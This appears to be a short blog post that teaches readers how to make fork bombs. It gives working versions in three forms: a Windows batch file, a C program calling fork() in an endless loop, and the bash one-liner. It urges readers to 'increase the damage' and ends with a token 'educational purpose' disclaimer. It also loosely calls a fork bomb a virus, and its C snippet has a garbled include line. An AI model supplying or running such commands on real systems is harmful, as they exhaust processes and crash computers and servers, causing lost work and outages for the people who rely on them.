A Fork bomb is considered to be the smallest writable virus in the batch language and it is capable of being annoying and if launched on a home computer however on a server will probably result in a crash. A fork bomb creates two instances which each create two instances and so on…The processes recursively fork; this “forks” the processor and jams it completely until a crash occurs. So today i'll explain you how to make it.
Notepad Fork Bomb
Open up notepad and type:
1
| %0|%0 |
and save it as fork.bat Yep..its a virus of just 5 characters.
On double clicking this file,it will lead to total CPU jam by opening about 500+ process of command prompt.
C Fork Bomb
Here is a in C++ version of Fork bomb.
1
2
3
4
5
6
7
| #include int main( void ) { while (1) fork(); return 0; } |
Shell Script Fork Bomb
And a shell (Unix/bash) version.
1
| : (){ : |:& };: |
Once a successful fork bomb has activated in a system, one may have to reboot to resume normal operation.
You can get creative and try to use program executable or call system applications or utilities recursively in the same manner and increase the damage manifolds. Let your creativity run loose.
Note:This information is only for educational purpose i'm not be responsible for any lost so just use at your own risk.....
No comments:
Post a Comment